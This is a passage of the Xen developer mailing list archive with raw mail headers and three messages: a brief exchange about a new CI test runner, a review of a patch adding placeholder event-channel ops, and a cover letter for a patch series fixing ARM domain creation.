	YDRO35gu7nyVxJNEm1R8Bj7RAI9hVFmYs1Xh5MGIgV029kVd2rOodaqrYnNiV4EA
	v4tIuiljR4EfYO/vYpv5M4Dv939E9gO7uOA==
X-ME-Sender: <xms:yPRQariSOdrRPuc2UB-mPqZSBg0R4YXLXpCtrc7Q4TqmVgs5AhEkmA>
    <xme:yPRQavCII9lGveoCYwWC7ZQPV9oPrUoFEo70fdPksYXgGXo9TTRYbNkicuosHmXpu
    OQLsrb3YxQVcNkdHeVGYQytgvvJ7bbxYGYlIOXXjaVqOi-->
X-ME-Received: <xmr:yPRQagH8UiwXR6hZxqRzukOu3IRKDt_yPUrcYFWt3fEeTjq-MttxIs7T>
X-ME-Proxy-Cause: dmFkZTFRycsGBbspFF43fjYYheeSlT2FndDz3PXMp9VHfMYlhbcGTzwFLExke2dSHETxgC
    gD+IDo2elx8WImETJmVG8BFGJAXQRCy027g8tm82ppm7gMA1D8zdFK/hu9bwb/JF8Vxd2r
    ykwm55dn7In8fI14dsAh3VfeMQB29sTIzcND5dVuv57+Lu67Eq6MLLJf7tff+JMpaCFjoR
    NBxJzRCKr3DDWAiv8PaXbzp0ZLbeKgG2wh4JUawAGPDTd3O7ZPq+nvX0eGfkiRURTfIlWX
    RlrooBzdRjyD/I8OISlz4WpvBgghoXdAawtg0CKSy9Ss6UGg0ZNgdCUCquk6QSouF5+1Rm
    YfNoEfe9A6NpgOl5viunO5pbbfY0nYUyYFjEfyoPPl5U2ytNKV8bBrPG2+/hqV1Sh9K5sJ
    BFeIFTZmRk1TYyMztk9mgvOP4bUdr8W+LO4nDS2OOIOu+aA0wOlJ0OrMfenHTfHUar/Bzq
    SVk+x/rhsI4La8DdbRgu2iPqBCcU6t8LzgDDmX9USGHH6/MKqghW74RuemVDdHuUmCXe6B
    NGx58urf/c1VGJZY/4aBQrCMX1irF9jMI5CAc965CBir79j2Xo2TpsVfUkGdRQuWSELVDG
    PLixCGQC5BavljOgxUIgDC+ixRBfJZDXxrvZSifHuPAiYqufSKe6mEhv2GBg
X-ME-Proxy: <xmx:yPRQanJAynU99plr0ZSQIzuHLRVFV2Wo1Roabr9iRmJBlB0d1avd5Q>
    <xmx:yPRQakkSXc9Nv604XTKXG01DYCTK7mxkSwxGFym1c9MbIYUe1vJsCA>
    <xmx:yPRQavSs8GC0HD6R6W-yThDsItDTOSi3MwB4svNxx9d7Go1m1Cc9uw>
    <xmx:yPRQamLvtxI4l5Q1fgjhAF2bDJaoZFxjCwZVct9O6lJX4xkvZKSbtw>
    <xmx:yPRQapt4MmHkAX8vft7gMKxo5DADnrhIP3tuyi0DYIGMveyHbQKgEXhN>
Feedback-ID: i1568416f:Fastmail
Date: Fri, 10 Jul 2026 15:33:56 +0200
From: Marek =?utf-8?Q?Marczykowski-G=C3=B3recki?= <marmarek@invisiblethingslab.com>
To: Andrew Cooper <andrew.cooper3@citrix.com>
Cc: xen-devel@lists.xenproject.org,
	Stefano Stabellini <sstabellini@kernel.org>,
	Doug Goldstein <cardoe@cardoe.com>
Subject: Re: [PATCH 1/2] CI: add PTL runner
Message-ID: <alD0xApLcDH0eni4@mail-itl>
References: <cover.2e3d53e8679d3686e3f6579df0c7acb781c92701.1783626895.git-series.marmarek@invisiblethingslab.com>
 <3a541b59a711fbf8d9ec3d262cfeeacd2db25113.1783626895.git-series.marmarek@invisiblethingslab.com>
 <5850cce1-e36d-4c84-8e40-80a7c8771585@citrix.com>
MIME-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha256;
	protocol="application/pgp-signature"; boundary="LkqlGqglO+A0POu8"
Content-Disposition: inline
In-Reply-To: <5850cce1-e36d-4c84-8e40-80a7c8771585@citrix.com>
X-purgate-ID: tlsNG-d62444/1783690442-3D8E90A8-B2A9EC8C/0/0
X-purgate-type: clean
X-purgate-size: 2004


--LkqlGqglO+A0POu8
Content-Type: text/plain; protected-headers=v1; charset=utf-8
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable
Date: Fri, 10 Jul 2026 15:33:56 +0200
From: Marek =?utf-8?Q?Marczykowski-G=C3=B3recki?= <marmarek@invisiblethingslab.com>
To: Andrew Cooper <andrew.cooper3@citrix.com>
Cc: xen-devel@lists.xenproject.org,
	Stefano Stabellini <sstabellini@kernel.org>,
	Doug Goldstein <cardoe@cardoe.com>
Subject: Re: [PATCH 1/2] CI: add PTL runner

On Fri, Jul 10, 2026 at 02:11:30PM +0100, Andrew Cooper wrote:
> On 09/07/2026 8:57 pm, Marek Marczykowski-G=C3=B3recki wrote:
> > For now run similar set of tests as ADL.
> >
> > Exclude suspend test for now. While firmware claims S3 is supported,
> > suspend attempt fails (power LED blinks for a few seconds, and
> > then system reboots). With no messages on the serial console, even with
> > `sync_console`.
> >
> > Signed-off-by: Marek Marczykowski-G=C3=B3recki <marmarek@invisiblething=
slab.com>
>=20
> I'll need to configure the runner in the right place(s) first.

Yes, you should have access to it already, just add it to relevant
projects.

> Did you sort out the dual NIC problem?

Yes, disabled one in firmware :)

> For the patch, Acked-by: Andrew Cooper <andrew.cooper3@citrix.com>

--=20
Best Regards,
Marek Marczykowski-G=C3=B3recki
Invisible Things Lab

--LkqlGqglO+A0POu8
Content-Type: application/pgp-signature; name=signature.asc

-----BEGIN PGP SIGNATURE-----

iQEzBAEBCAAdFiEEhrpukzGPukRmQqkK24/THMrX1ywFAmpQ9MQACgkQ24/THMrX
1yzguAf+KGk2lod+lalZXPXke9balmR88g7W1WNk7KfsMOhO5QuKS9zhTDORJjMP
1jYP2RD0qeR83YtAh0wD3RUYZMKfWK+b2FaPH6DhENqP+ljaDaJlLco+mL46a0fT
zNBzFhL9JUO/1UJT4KwhaJuSOXOHU8omvYhnKK/fo9ymJjX2gdCMHIgEABk7Ocxr
bvQyzmaxkEp3p7NKwaAzk5/G7lUkUyk1rR/DH28lhhGCeFrmFl3RzaARlCNEqFFF
HR6M+W42Jf92qsiDtOc2EGoL0eygSjY2qWjcj5FPPcw8J4ZcrEbHLoJKUju0e54l
cWtrwVLP97ABXoDoYVB4kAqBCFo7VA==
=IUWp
-----END PGP SIGNATURE-----

--LkqlGqglO+A0POu8--


From xen-devel-bounces@lists.xenproject.org Fri Jul 10 13:50:14 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Fri, 10 Jul 2026 13:50:14 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1359384.1612967 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wiBcE-0003H4-Mu; Fri, 10 Jul 2026 13:50:06 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1359384.1612967; Fri, 10 Jul 2026 13:50:06 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wiBcE-0003Gx-JQ; Fri, 10 Jul 2026 13:50:06 +0000
Received: by outflank-mailman (input) for mailman id 1359384;
 Fri, 10 Jul 2026 13:50:05 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1wiBcD-00034y-D7
 for xen-devel@lists.xenproject.org; Fri, 10 Jul 2026 13:50:05 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wiBcC-0076fj-Q7
 for xen-devel@lists.xenproject.org; Fri, 10 Jul 2026 15:50:04 +0200
Received: from [10.42.69.9] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a50f880-5cb7-0a2a0a5109dd-0a2a4509c9a0-30
 for <xen-devel@lists.xenproject.org>; Fri, 10 Jul 2026 15:50:04 +0200
Received: from [209.85.221.52] (helo=mail-wr1-f52.google.com)
 by tlsNG-bad1c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.2)
 (envelope-from <jbeulich@suse.com>)
 id 6a50f88c-b440-0a2a45090019-d155dd34c0da-3
 for <xen-devel@lists.xenproject.org>; Fri, 10 Jul 2026 15:50:04 +0200
Received: by mail-wr1-f52.google.com with SMTP id
 ffacd0b85a97d-4758b2a9e2aso611696f8f.2
 for <xen-devel@lists.xenproject.org>; Fri, 10 Jul 2026 06:50:04 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 ffacd0b85a97d-47ad69519c2sm64612322f8f.37.2026.07.10.06.50.03
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Fri, 10 Jul 2026 06:50:03 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:Autocrypt:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1783691404; x=1784296204; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=r26+NBOBwU7YOyCJCnIp2HtD+ClZUs25nbebhmcB+xQ=;
        b=NlVlgy9D8pFJv1GsxijFOzLK2rDN3D0DBViNWeBpdNW0zhzlRunDKlM1Oe0ZbrdIwI
         MutDlR9cUvgtQhtAh6DHQnjqs9OgqGLm5ECGH3UEER7crNk4e63E4DEqVGCt7o0xKA/B
         TkLEGlZWqVPcQVmEF7s2EGDTHTm6NQ3+eYWXq47st3vsBdGLsjolTQvS4cNKtkPZtUwJ
         91fd61ka/Ww5yncsCY8mwq0D7k/MSDYRxxWpi1IIhgPvjxNJ/xasWB+uD10zClSK6WP3
         uPnMCyKInyPgPsSmhUJ6+HL/82fSoUdsfUQStzt8TupzS01CKheBlI2ZrHN3oxMh+lPl
         2ESw==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1783691404; x=1784296204;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=r26+NBOBwU7YOyCJCnIp2HtD+ClZUs25nbebhmcB+xQ=;
        b=NIQ+G31I9VdLJP+EAdGtuS0JbgA1FFrNFko8UHEtNwODcMp0gmCozE8Lbk5ETbhSqU
         eRFQ3vvR85f5Av6IgwsJRAL3gmAYlUznELciGDTcAduSRP3LVJDbA9Ngvt/2yDG59okX
         6yAiruvt0IPpc9W73YAMSMMBwDATCm0J4ll2ghrRNo22zQKpb9QOGlk3YBq5uA9sC9SM
         4CNX8QTRtMh7q+STNUoj14uYbx8uS306+Ie6g/zAlvvmj3M8gb4N0azdRWuwmFAGyq2x
         jKStF4jdD9VZs5yg0C8sR+F3Bd1fHKOer2xicXCac4dmy4IpLmZe+12z0ESHCHgf8hbl
         IHwg==
X-Forwarded-Encrypted: i=1; AHgh+RolzkqkPKLzQml9rAr7zvXyiNP3aD5j0rEjwie1hzAcRqFSyXHVH14dZBKGn7e03OMBKvwgNpVw7mA=@lists.xenproject.org
X-Gm-Message-State: AOJu0Yx/8lErHjhneIqa04nHRI8vqTc61F1Hl9sKdxhqvpK082givMYX
	z6fKcBrxNsuItz4TGwtpNPE2xaKYMC5tTffDLGYhmx2+pdlcjwxRhNVso8GZs7c7eg==
X-Gm-Gg: AfdE7cm4zB+MLvdOp3lUpPR3VBmoG1O6lj25+HQxzZu6WaoxXLhBF6X0m9m3SSbXaGU
	XbcQrQ0Rlyoz3ye1t9NMUY5hpDvvm+9UUMgJmyS++cV2EA13RcmDA1Fg0P+5qSVW694rNRAaSLw
	i2nvNqHgAAvUQoFDHTdMXFvfq4Sqv/Ypoan361V3NT7L/kQFyEm194sDgGed/paDvZHvavyQnEy
	z3Nj/p2sUF52SpYIYwUYEGiS64EMGu6tW9xNr3whfEY2bNgUd+QAQIMxpbXeaQKmpCIOhlCMqPe
	jIVWXRS7HecBxQlPtSfXAnQwtBA4lK4cmizAjV6YmE9+TVpjfcpWcGJmAg7kuFha/aL9WybGyWL
	QFSFA/mvkUhA59AQjOJ6kmkb3Fiy9Sce3D9eEvzd9ysgaW0m2wivpK6SgrxGUfirAtbmw2Z7U1o
	A4bGXTHovmx/zzAMyJFm1Fp31GSiBvIfx5oFF9xIdQ1XabWviUT9bpvd5YtSfWHI4XlTlqNbPMC
	Esu
X-Received: by 2002:a05:6000:220f:b0:475:cb71:a344 with SMTP id ffacd0b85a97d-47df075e31amr12998000f8f.37.1783691404136;
        Fri, 10 Jul 2026 06:50:04 -0700 (PDT)
Message-ID: <05743e4a-f71c-4883-9e5f-e91e749061e0@suse.com>
Date: Fri, 10 Jul 2026 15:50:02 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v5] xen: introduce CONFIG_HAS_SHARED_INFO for archs
 without a shared page
To: Oleksii Kurochko <oleksii.kurochko@gmail.com>
Cc: Romain Caritey <Romain.Caritey@microchip.com>,
 Baptiste Le Duc <baptiste.le-duc@vates.tech>,
 Stefano Stabellini <sstabellini@kernel.org>, Julien Grall <julien@xen.org>,
 Bertrand Marquis <bertrand.marquis@arm.com>,
 Michal Orzel <michal.orzel@amd.com>,
 Volodymyr Babchuk <Volodymyr_Babchuk@epam.com>,
 Andrew Cooper <andrew.cooper3@citrix.com>,
 Anthony PERARD <anthony.perard@vates.tech>,
 =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger.pau@citrix.com>,
 Teddy Astie <teddy.astie@vates.tech>, xen-devel@lists.xenproject.org
References: <6948fb2823ffa41cf2eabbd87952b236e4f379bf.1783085655.git.oleksii.kurochko@gmail.com>
 <2853c8c1-ea7f-46ba-ac65-a7473e9d3689@suse.com>
 <b1c039e3-d955-4708-a805-e136bc73b6f5@gmail.com>
Content-Language: en-US
From: Jan Beulich <jbeulich@suse.com>
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGP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 AmRv1ySWPTP7AAMFB/9PQK/VtlNUJvg8GXj9ootzrteGfVZVVT4XBJkfwBcpC/XcPzldjv+3
 HYudvpdNK3lLujXeA5fLOH+Z/G9WBc5pFVSMocI71I8bT8lIAzreg0WvkWg5V2WZsUMlnDL9
 mpwIGFhlbM3gfDMs7MPMu8YQRFVdUvtSpaAs8OFfGQ0ia3LGZcjA6Ik2+xcqscEJzNH+qh8V
 m5jjp28yZgaqTaRbg3M/+MTbMpicpZuqF4rnB0AQD12/3BNWDR6bmh+EkYSMcEIpQmBM51qM
 EKYTQGybRCjpnKHGOxG0rfFY1085mBDZCH5Kx0cl0HVJuQKC+dV2ZY5AqjcKwAxpE75MLFkr
 wkkEGBECAAkFAlk3nEQCGwwACgkQoDSui/t3IH7nnwCfcJWUDUFKdCsBH/E5d+0ZnMQi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
In-Reply-To: <b1c039e3-d955-4708-a805-e136bc73b6f5@gmail.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-bad1c0/1783691404-5ED6FA0B-BBF0E1B1/0/0
X-purgate-type: clean
X-purgate-size: 2065

On 10.07.2026 15:31, Oleksii Kurochko wrote:
> On 7/8/26 12:52 PM, Jan Beulich wrote:
>>> +#ifndef CONFIG_HAS_SHARED_INFO
>>> +/*
>>> + * Placeholder ops for domains with neither a shared_info page nor (yet)
>>> + * a FIFO control block.  None of these are ever reachable in practice;
>>> + * they only exist to keep d->evtchn_port_ops non-NULL.
>>> + */
>>> +static void cf_check evtchn_none_set_pending(
>>> +    struct vcpu *v, struct evtchn *evtchn) {}
>>> +static void cf_check evtchn_none_noop(
>>> +    struct domain *d, struct evtchn *evtchn) {}
>>> +static bool cf_check evtchn_none_false(
>>> +    const struct domain *d, const struct evtchn *evtchn) { return false; }
>>> +static void cf_check evtchn_none_print_state(
>>> +    struct domain *d, const struct evtchn *evtchn) {}
>>> +
>>> +static const struct evtchn_port_ops evtchn_port_ops_none = {
>>> +    .set_pending   = evtchn_none_set_pending,
>>> +    .clear_pending = evtchn_none_noop,
>>> +    .unmask        = evtchn_none_noop,
>>> +    .is_pending    = evtchn_none_false,
>>> +    .is_masked     = evtchn_none_false,
>>> +    .print_state   = evtchn_none_print_state,
>>> +};
>>> +
>>> +void evtchn_none_init(struct domain *d)
>>> +{
>>> +    d->evtchn_port_ops = &evtchn_port_ops_none;
>>> +}
>>> +#endif /* !CONFIG_HAS_SHARED_INFO */
>> ... we wondering whether any of this is needed when FIFO is available. In
>> v4 all that was noticed was that SHARED_INFO=n together with EVTCHN_FIFO=n
>> is a problem. And having fewer cf_check functions in the build is always a
>> win (I think).
> 
> I thought an opposite that it is good to have cf_check when pointer to 
> function is used. So why we have to make an exception in this case?

I didn't ask to drop the cf_check (and you can't really as long as these
functions may be used by x86). I asked to limit the number of them we have
(in a particular configuration) as much as possible. I.e. I was merely
trying to explain why it is relevant to have the #if around this as tight
as possible.

Jan


From xen-devel-bounces@lists.xenproject.org Fri Jul 10 13:56:05 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Fri, 10 Jul 2026 13:56:05 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1359398.1612975 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wiBhx-0003yj-Dh; Fri, 10 Jul 2026 13:56:01 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1359398.1612975; Fri, 10 Jul 2026 13:56:01 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wiBhx-0003yc-AU; Fri, 10 Jul 2026 13:56:01 +0000
Received: by outflank-mailman (input) for mailman id 1359398;
 Fri, 10 Jul 2026 13:55:59 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f4c5034ae000edb5@swg.vates.tech>)
 id 1wiBhv-0003yV-AK
 for xen-devel@lists.xenproject.org; Fri, 10 Jul 2026 13:55:59 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wiBhu-00F36p-NI
 for xen-devel@lists.xenproject.org; Fri, 10 Jul 2026 15:55:58 +0200
Received: from [10.42.69.7] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f4c5034ae000edb5@swg.vates.tech>)
 id 6a50f9d4-bab6-0a2a0a5309dd-0a2a4507a808-36
 for <xen-devel@lists.xenproject.org>; Fri, 10 Jul 2026 15:55:58 +0200
Received: from [185.255.28.35] (helo=prod-mta-13-02.swg-srv.net)
 by tlsNG-ef75cf.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.2)
 (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f4c5034ae000edb5@swg.vates.tech>)
 id 6a50f9ee-ac46-0a2a45070019-b9ff1c238b6b-3
 for <xen-devel@lists.xenproject.org>; Fri, 10 Jul 2026 15:55:58 +0200
Received: from mail2.vates.fr ([37.26.189.201] mail2.vates.fr)
 (Authenticated sender:
 8631fc262581453bbf619ec5b2062170/smtp/7773de5a-2839-4720-82ee-e06722ae1d3e)
 by prod-mta-13-02.swg-srv.net (ZoneMTA - prod-mta-13) with ESMTPSA id
 19f4c5034ae000edb5.00b for <xen-devel@lists.xenproject.org>
 (version=TLSv1.3 cipher=TLS_AES_256_GCM_SHA384);
 Fri, 10 Jul 2026 13:55:52 +0000
Received: from julian.home (lfbn-gre-1-197-6.w90-112.abo.wanadoo.fr
 [90.112.16.6]) (Authenticated sender: julian.vetter@vates.tech)
 by mail2.vates.fr (Postfix) with ESMTPSA id AD8D1820AB;
 Fri, 10 Jul 2026 15:55:51 +0200 (CEST)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=vates.tech header.i="@vates.tech" header.h="From:Subject:Date:Message-ID:To:Cc:MIME-Version:Content-Type:Feedback-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=vates.tech;
 q=dns/txt; s=selector1; bh=YGzIC8DFv3AcfD2nvL4tjjOdDOqJRfgBCsf3p5fTo9c=;
 h=from:subject:date:message-id:to:cc:mime-version:content-type:feedback-id;
 b=euy1hHuzBRLuIYuholcj1Gp7W+As2VDipVmh0hUNRb85F3JdcAE/ES5CqNvPeymcIWe3dbwdK
 ovQ4s/QUcGXGKL7eqfSkdwh0FTIrzOOjJuKf0Jui6u0MMSFCm6DXd+diW+qnmtKOIJbzORrrxgq
 D7L2rV3LVlvSyWuubgSlvW2GJSyDFwWcVbDmgjK71wKB2sDFiSym6NPGt+grgLWL6EsIssyDUal
 n9GHb0gc/7NCGTsrFBFaKQ44jA20wgkJej7gqF7MeyB0bYRGU0rSNzLDRSULtDAjEH/mjQ+g9ag
 DAY6JAG7tGmXnjgut6YhlQmo1oYN9WoVhvZO/OxSmUQA==
X-Zone-Loop: 48d887abb84af2a0aadde9ee0e8ea12dbe0cab011000
x-campaign-type: default
x-transaction-id: 501df9d0-3cba-44af-9a20-377aec980aca
x-swg-uid: 01-d067762b-07b5-47e7-b21a-9798e1dcca34
X-Mailer: Sweego
Message-ID:
 <1783691752.8631fc262581453bbf619ec5b2062170.19f4c5034ae000edb5@vates.tech>
x-swg-bid: 1783691752.8631fc262581453bbf619ec5b2062170.19f4c5034ae000edb5
Feedback-ID: default:8631fc262581453bbf619ec5b2062170:Sweego
x-campaign-id: default
x-client-id: 8631fc262581453bbf619ec5b2062170
X-Originating-IP: [37.26.189.201]
From: Julian Vetter <julian.vetter@vates.tech>
To: xen-devel@lists.xenproject.org
Cc: Anthony PERARD <anthony.perard@vates.tech>,
	Andrew Cooper <andrew.cooper3@citrix.com>,
	Michal Orzel <michal.orzel@amd.com>,
	Jan Beulich <jbeulich@suse.com>,
	Julien Grall <julien@xen.org>,
	=?UTF-8?q?Roger=20Pau=20Monn=C3=A9?= <roger.pau@citrix.com>,
	Stefano Stabellini <sstabellini@kernel.org>,
	Juergen Gross <jgross@suse.com>,
	Andrii Sultanov <andriy.sultanov@vates.tech>,
	Guillaume Thouvenin <guillaume.thouvenin@vates.tech>,
	=?UTF-8?q?Marek=20Marczykowski-G=C3=B3recki?= <marmarek@invisiblethingslab.com>,
	Bertrand Marquis <bertrand.marquis@arm.com>,
	Volodymyr Babchuk <Volodymyr_Babchuk@epam.com>,
	Oleksii Moisieiev <oleksii_moisieiev@epam.com>,
	Timothy Pearson <tpearson@raptorengineering.com>,
	Alistair Francis <alistair.francis@wdc.com>,
	Connor Davis <connojdavis@gmail.com>,
	Oleksii Kurochko <oleksii.kurochko@gmail.com>,
	Teddy Astie <teddy.astie@vates.tech>,
	Julian Vetter <julian.vetter@vates.tech>
Subject: [PATCH v2 0/6] Fix ARM domcreate
Date: Fri, 10 Jul 2026 15:55:03 +0200
MIME-Version: 1.0
X-BM-Disclaimer: Yes
Content-Type: multipart/alternative; boundary="-=Part.632.960184aa63f693ee.19f4c503258.e86d886d4e64a6d9=-"
X-Bm-Milter-Handled: 4ffbd6c1-ee69-4e1b-aabd-f977039bd3e2
X-Bm-Transport-Timestamp: 1783691752025
X-purgate-ID: tlsNG-ef75cf/1783691758-1FB61201-1E2762C7/0/0
X-purgate-type: clean
X-purgate-size: 3659

---=Part.632.960184aa63f693ee.19f4c503258.e86d886d4e64a6d9=-
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: quoted-printable

Hello Andrew and Teddy,
thank you for your feedback=2E I have looked into your branch and the
feedback you gave me=2E I have added 5 patches on top of my original one=
=2E
One of your patches I kept as is, and the other 2 I filled in the gaps=2E
Then I added 2 patches on top, which ensure that the GIC version is now
properly reported via XEN_DOMCTL_getdomaininfo and the frequency
reported via sysctl physinfo as you suggested=2E And a final one which
makes the config argument to arch_sanitise_domain_config const=2E

I'm only wondering about two things=2E The uint32_t pad in
xen_sysctl_physinfo can I simply use this for the clock_frequency? And
second, in your patch "arm remove native", you removed the
XEN_DOMCTL_CONFIG_GIC_NATIVE but didn't bump the
XEN_DOMCTL_INTERFACE_VERSION=2E Do we actually need to bump the version?

Signed-off-by: Julian Vetter <julian=2Evetter@vates=2Etech>
---
Changes in v2:
- Added 5 new patches to address the remaining problem that
  DOMCTL_createdomain on ARM is sneaking out some parameters back to the
  toolstack (i=2Ee=2E, GIC version and timer frequency), where the config
  parameter is supposed to be just an IN parameter
---
Andrew Cooper (3):
  ARM/sysctl: Expose the supported guest GIC modes in physinfo
  xen/arm: choose GIC version explicitly instead of GIC_NATIVE
  xen/arm: remove XEN_DOMCTL_CONFIG_GIC_NATIVE from the ABI

Julian Vetter (3):
  xen/arm: report proper GIC version via XEN_DOMCTL_getdomaininfo
  xen/arm: report clock_frequency via sysctl physinfo, not createdomain
  xen: make config argument const

 =2E=2E=2E/include/xen-tools/arm-arch-capabilities=2Eh | 21 ++++++++++++++
 tools/libs/light/libxl=2Ec                      |  1 +
 tools/libs/light/libxl_arm=2Ec                  | 28 +++++++++++++++---
 tools/libs/light/libxl_types=2Eidl              |  1 +
 tools/ocaml/libs/xc/xenctrl=2Eml                |  1 -
 tools/ocaml/libs/xc/xenctrl=2Emli               |  1 -
 tools/python/xen/lowlevel/xc/xc=2Ec             | 18 +++++++++++-
 xen/arch/arm/dom0less-build=2Ec                 |  3 +-
 xen/arch/arm/domain=2Ec                         | 29 +++++++------------
 xen/arch/arm/domain_build=2Ec                   |  3 +-
 xen/arch/arm/domctl=2Ec                         |  2 ++
 xen/arch/arm/firmware/sci=2Ec                   |  2 +-
 xen/arch/arm/firmware/scmi-smc=2Ec              |  2 +-
 xen/arch/arm/gic=2Ec                            | 16 ++++++++++
 xen/arch/arm/include/asm/firmware/sci=2Eh       |  6 ++--
 xen/arch/arm/include/asm/gic=2Eh                |  6 ++++
 xen/arch/arm/include/asm/vtimer=2Eh             |  3 +-
 xen/arch/arm/sysctl=2Ec                         | 29 +++++++++++++++++++
 xen/arch/arm/vtimer=2Ec                         |  4 +--
 xen/arch/ppc/stubs=2Ec                          |  2 +-
 xen/arch/riscv/domain=2Ec                       |  2 +-
 xen/arch/x86/domain=2Ec                         | 16 +++++-----
 xen/include/public/arch-arm=2Eh                 | 17 +----------
 xen/include/public/domctl=2Eh                   |  4 +--
 xen/include/public/sysctl=2Eh                   | 15 +++++++++-
 xen/include/xen/sched=2Eh                       |  6 ++--
 26 files changed, 170 insertions(+), 68 deletions(-)

--=20
2=2E53=2E0



-- 
Julian Vetter | Vates Hypervisor & Kernel Developer

XCP-ng & Xen Orch=
estra - Vates solutions

web: https://vates=2Etech
---=Part.632.960184aa63f693ee.19f4c503258.e86d886d4e64a6d9=---


From xen-devel-bounces@lists.xenproject.org Fri Jul 10 13:57:27 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Fri, 10 Jul 2026 13:57:27 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1359405.1612984 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wiBjK-0004Si-MX; Fri, 10 Jul 2026 13:57:26 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1359405.1612984; Fri, 10 Jul 2026 13:57:26 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wiBjK-0004Sb-Jx; Fri, 10 Jul 2026 13:57:26 +0000
Received: by outflank-mailman (input) for mailman id 1359405;
 Fri, 10 Jul 2026 13:57:24 +0000
